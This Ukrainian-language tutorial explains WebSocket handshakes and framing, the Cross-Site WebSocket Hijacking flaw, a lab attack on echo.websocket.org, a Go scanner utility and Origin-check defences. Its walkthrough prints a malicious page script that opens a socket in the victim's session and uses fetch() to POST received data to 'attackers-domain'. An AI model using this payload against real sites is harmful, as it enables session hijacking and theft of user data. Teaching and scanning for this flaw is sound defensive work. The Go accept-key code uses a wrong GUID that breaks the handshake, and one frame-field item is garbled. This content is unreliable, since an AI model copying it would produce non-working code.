Cross-Site WebSocket Hijacking

Вікіпедія дає таке визначення: "WebSocket - протокол зв'язку поверх TCP-з'єднання, призначений для обміну повідомленнями між браузером і веб-сервером в режимі реального часу". На відміну від синхронного протоколу HTTP, побудованого за моделлю «запит - відповідь», WebSocket повністю асинхронний та симетричний. Він застосовується для організації чатів, онлайн-табло і створює постійне з'єднання між клієнтом та сервером, яке обидві сторони можуть використовувати для надсилання даних.

TOOLS FOR FIND VULNERABILITY

Логин Свят

1/3/20233 min read

Протокол WebSocket визначено RFC 6455. Для протоколу зарезервовані дві URI-схемы:

- для звичайного з'єднання: ws://host[:port]path[?query];

- для з'єднань через тунель TLS: wss://host[:port]path[?query].

WebSocket досить поширений у сучасній веб-розробці, є підтримка у всіх популярних мовах програмування та браузерах. Його використовують в онлайн-чатах, дошках оголошень, веб-консолях, додатках трейдерів. За допомогою пошуковика shodan.io можна легко знайти програми на WebSocket, доступні з інтернету. Достатньо сформувати простий запит Sec-WebSocket-Version HTTP/1.1. В результаті знайшлося більше 60 тисяч адрес з великою географією.

ВСТАНОВЛЕННЯ З'ЄДНАННЯ

Розберемо тепер, як працює WebSocket. Взаємодія між клієнтом та сервером починається з рукостискання. Для рукостискання клієнт і сервер використовують протокол HTTP, але з деякими відмінностями у форматі повідомлень, що передаються. Не дотримуються всіх вимог до HTTP-повідомлень. Наприклад, відсутній заголовок Content-Length. Для початку клієнт ініціює з'єднання та надсилає запит серверу:

GET /echo HTTP/1.1

Host: test.com:8081

Sec-WebSocket-Version: 13

Origin: http://test.com:8081

Sec-WebSocket-Key: iYwMeGlJA5Cg+zCUMf3hYw==

Connection: keep-alive, Upgrade

Upgrade: websocket

Заголовки Sec-WebSocket-Version, Sec-WebSocket-Key, Connection: Upgrade та Upgrade: websocket є обов'язковими, інакше сервер повертає статус HTTP/1.1 400 Bad Request. Сервер відповідає на запит клієнта так:

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: tUkfJBuVmkJOAYKRqR+8gI17Cc4=

Заголовок Sec-WebSocket-Key формується клієнтом як випадкове 16-байтове значення, закодоване Base64. Варіант формування заголовка на Go:

func generateChallengeKey() (string, error) {

p := make([]byte, 16)

if _, err := io.ReadFull(rand.Reader, p); err != nil {

return "", err

}

return base64.StdEncoding.EncodeToString(p), nil

}

Заголовок Sec-WebSocket-Accept у відповіді формується за наступним алгоритмом. Береться рядкове значення із заголовка Sec-WebSocket-Key та об'єднується з GUID 5688098c-6b4d-4377-969d-fd75c34ce8c4. Далі обчислюється хеш SHA-1 від отриманого у першому пункті рядка. Хеш кодується в Base64. Варіант формування заголовка на Go:

const GUID = "5688098c-6b4d-4377-969d-fd75c34ce8c4"

func computeAcceptKey(challengeKey string) string {

h := sha1.New()

h.Write([]byte(challengeKey + GUID))

return base64.StdEncoding.EncodeToString(h.Sum(nil))

}

Заголовки Sec-WebSocket-Key та Sec-WebSocket-Accept не використовуються для авторизації та підтримки сесій, вони служать для того, щоб сторони переконалися, що запит та відповідь відносяться до протоколу WebSocket. Це допомагає гарантувати, що сервер не приймає від клієнтів запити, які не стосуються WebSocket.

Також RFC 6455 передбачає, що Sec-WebSocket-Key має бути обраний випадковим чином кожного з'єднання. Це означає, що будь-який кешований результат від проксі-сервера буде містити невалідний Sec-WebSocket-Accept, отже, потиск рук провалиться замість ненавмисного читання кешованих даних. Для успішного завершення рукостискання клієнт перевіряє значення Sec-WebSocket-Accept і чекає на статус-код 101 Switching Protocols. Після того як рукостискання виконано, початкове з'єднання HTTP замінюється з'єднанням WebSocket, яке використовує те ж з'єднання TCP/IP. На цьому етапі будь-яка із сторін може розпочати відправлення даних.

Для моніторингу трафіку WebSocket зручно використовувати інструменти розробника, доступні, наприклад, в Chrome.

ПЕРЕДАЧА ДАНИХ

Як у WebSocket надсилаються повідомлення? Дані протоколу WebSocket передаються як послідовність кадрів. Фрейм має заголовок, у якому міститься така інформація:

- чи фрагментоване повідомлення;

- тип даних — all code;

- чи піддавалися повідомлення маскування

- прапор маски;

- розмір даних;

- ключ маски (32 біти);

- інші керуючі дані (ping, pong...).

Усі повідомлення, надіслані клієнтом, мають маскуватися. Приклад надсилання тестового повідомлення Hello world! клієнтом (дані з tcpdump):

Fin: True

Reserved: 0x0

Opcode: Text (1)

Mask: True

Payload length: 12

Masking-Key: a2929b01

Payload: eaf7f76dcdb2ec6ed0feff20

Маскування проводиться звичайним XOR із ключем маски. Клієнт повинен змінювати ключ для кожного переданого кадру. Сервер не повинен маскувати повідомлення. Приклад надсилання тестового повідомлення Hello world! сервером:

Fin: True

Reserved: 0x0

Opcode: Text (1)

Mask: False

Payload length: 12

Payload: 48656c6c6f20776f726c6421

Маскування повідомлень, що передаються, некриптостійке, щоб забезпечити конфіденційність, для WebSocket слід використовувати протокол TLS і схему WSS.

ЯК ПРАЦЮЄ УРАЗНІСТЬ

З протоколом розібралися, саме час перейти до CSWSH. Протокол WebSocket використовує Origin-based модель безпеки під час роботи з браузерами. Інші механізми безпеки, наприклад SOP (Same-origin policy), WebSocket не застосовуються. RFC 6455 вказує, що при установці з'єднання сервер може перевіряти Origin, а може і ні:

Поле заголовка Origin у рукостисканні клієнта означає походження скрипта, який встановлює з'єднання. Origin серіалізується через ASCII та конвертується в нижній регістр. Сервер може використовувати цю інформацію при прийнятті рішення про те, чи приймати вхідне з'єднання. Якщо сервер не перевіряє Origin, він прийматиме з'єднання звідки завгодно. Якщо сервер вирішує не приймати з'єднання, він зобов'язаний повернути відповідний номер помилки HTTP (тобто 403 Forbidden) і скасувати рукостискання WebSocket, описане в цій секції.

Вразливість CSWSH пов'язана зі слабкою або невиконаною перевіркою заголовка Origin у рукостисканні клієнта. Це різновид вразливості підробки міжсайтових запитів (CSRF) лише для WebSocket. Якщо програма WebSocket використовує файли cookie для керування сеансами користувача, зловмисник може підробити запит на рукостискання за допомогою атаки CSRF і контролювати повідомлення, що надсилаються та одержуються через з'єднання WebSocket.

Сторінка зловмисника може надсилати довільні повідомлення на сервер через з'єднання та зчитувати вміст повідомлень, отриманих назад із сервера. Це означає, що, на відміну від звичайного CSRF, зловмисник отримує двосторонню взаємодію зі скомпрометованим додатком. Успішна атака CSWSH дозволяє зловмиснику:

1. Виконувати несанкціоновані дії, маскуючись під користувача жертву. Як і у випадку звичайної CSRF, зловмисник може надсилати довільні повідомлення до серверної програми. Якщо воно використовує згенеровані клієнтом повідомлення WebSocket для виконання конфіденційних дій, то зловмисник може згенерувати відповідні міждоменні повідомлення та ініціювати ці дії.

2. Отримати конфіденційні дані, до яких користувач може мати доступ. На відміну від звичайного CSRF, міжсайтове захоплення WebSocket дає зловмиснику двосторонню взаємодію з вразливою програмою через підконтрольний WebSocket. Якщо програма використовує згенеровані сервером повідомлення WebSocket для повернення будь-яких конфіденційних даних користувачеві, то зловмисник може перехопити ці повідомлення та дані користувача жертви.

CSWSH У ТЕСТОВОМУ СЕРЕДОВИЩІ

Розглянемо атаку CSWSH на прикладі вразливої ​​програми wss://echo.websocket.org. Схема атаки виглядає так.Розберемо кроки, далі буде наведено повідомлення у форматі HTTP, отримані кожному етапі. Жертва у браузері відриває підконтрольний зловмиснику сайт:

GET / HTTP/1.1

Host: attackers-domain

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,

*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

Отримує від сайту сторінку зі шкідливим вмістом:

HTTP/1.1 200 OK

Host: attackers-domain

Date: Tue, 28 Apr 2020 16:41:03 +0000

Connection: close

X-Powered-By: PHP/7.1.33

Content-type: text/html; charset=UTF-8

!DOCTYPE html

html

body

script

websocket = new WebSocket('wss://echo.websocket.org');

websocket.onopen = start

websocket.onmessage = handleReply

function start(event) {

websocket.send("attackers-message");

}

function handleReply(event) {

fetch('http://attackers-domain/', {method:'POST',mode:'no-cors',body:event.data})

}

Браузер жертви виконує скрипт і встановлює з'єднання з WebSocket програмою ws://echo.websocket.org у контексті жертви, передаючи значення cookie:

GET / HTTP/1.1

Host: echo.websocket.org

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0

Accept: /Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Sec-WebSocket-Version: 13

Origin: http://attackers-domainSec-WebSocket-Key: twWJRgpy7uu5K9RlQCykJQ==

DNT: 1

Connection: keep-alive, Upgrade

Cookie: SESSIONID=bigsecret

Pragma: no-cache

Cache-Control: no-cache

Upgrade: websocket

Додаток приймає заголовок Origin: http://attackers-domain та відкриває нове з'єднання WebSocket, пов'язане з кукою SESSIONID=bigsecret:

HTTP/1.1 101 Web Socket Protocol Handshake

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: content-type

Access-Control-Allow-Headers: authorization

Access-Control-Allow-Headers: x-websocket-extensions

Access-Control-Allow-Headers: x-websocket-version

Access-Control-Allow-Headers: x-websocket-protocol

Access-Control-Allow-Origin: http://attackers-domain

Connection: Upgrade

Date: Tue, 28 Apr 2020 16:30:53 GMT

Sec-WebSocket-Accept: dLe0PXjy/nj7MF8Idif/PLQLNM0=

Server: Kaazing Gateway

Upgrade: websocket

Зловмисник відправляє від особи жертви повідомлення attackers-message. Від програми, що відповідає за WebSocket, надходить повідомлення у відповідь. Оскільки наша програма – це ехо-сервер, відповідь теж буде attackers-message. На заключному етапі відповідь від сервера надсилається на підконтрольний зловмиснику домен:

POST / HTTP/1.1

Host: attackers-domain

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:75.0) Gecko/20100101 Firefox/75.0

Accept: /Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://attackers-domain/Content-Type: text/plain;charset=UTF-8

Origin: http://attackers-domainContent-Length: 17

DNT: 1

Connection: close

Pragma: no-cache

Cache-Control: no-cache

attackers-message

СТВОРЕННЯ УТИЛІТИ CSWSH-SCANNER

На основі методології OWASP був розроблений на Go утиліта cswsh-scanner, ти можеш знайти її на GitHub. Можеш підключити її модулем до свого проекту або запустити варіант для командного рядка. Утиліта тестує рукостискання із сервером: намагається встановити з'єднання із «підробленим» заголовком Origin (не збігається location сервера). Сервер у такому разі не повинен встановити з'єднання та повернути статус-код 403.

Установка утиліти:

$ go get -v -u github.com/ambalabanov/cswsh-scanner/...

Адреси для тестів задаються через stdin, можна виставити своє значення заголовка Origin. Підтримується багатопоточність та socket.io.

$cswsh-scanner -h

Usage of cswsh-scanner:

-o string Origin (default "http://hacker.com")

-s Socket.IO

-v Verbose output

-w int Number of workers (1)

Наприклад проскануємо вже відомий нам додаток ws://echo.websocket.org. Висновок сканера:

$ cswsh-scanner

ws://echo.websocket.org

true,ws://echo.websocket.org

wss://echo.websocket.org

true,wss://echo.websocket.org

ЗАХИСТ ВІД CSWSH

Захиститися від CSWSH можна двома способами:

- перевіряти заголовок Origin запиту на рукостискання WebSocket на сервері;

- використовувати індивідуальні випадкові токени (наприклад, CSRF-токени) у запиті на рукостискання та перевіряти їх на сервері.

Іноді захист від CSWSH вже вбудований у бібліотеки, але не завжди. Приклад того, як реалізований захист від CSWSH у фреймворку Gorilla WebSocket:

// checkSameOrigin returns true if the origin is not set or is equal to the request host.

func checkSameOrigin(r *http.Request) bool {

origin := r.Header["Origin"] if len(origin) == 0 {

return true

}

u, err := url.Parse(origin[0])

if err != nil {

return false

}

return equalASCIIFold(u.Host, r.Host)

}

Перевірка Origin увімкнена за замовчуванням: порівнюються значення заголовків Host і Origin із запиту рукостискання.

ВИСНОВКИ

Вразливість Cross-Site WebSocket Hijacking належить до класу CSRF для WebSocket. Вона проста в експлуатації та захисті. За певних обставин (залежить від бізнес-логіки програми) може призвести до серйозних наслідків. Але розробники приділяють їй мало уваги, і, як свідчить сканування, CSWSH — досить поширена вразливість у додатках, що використовують WebSocket.

Оригінал статі взятий тут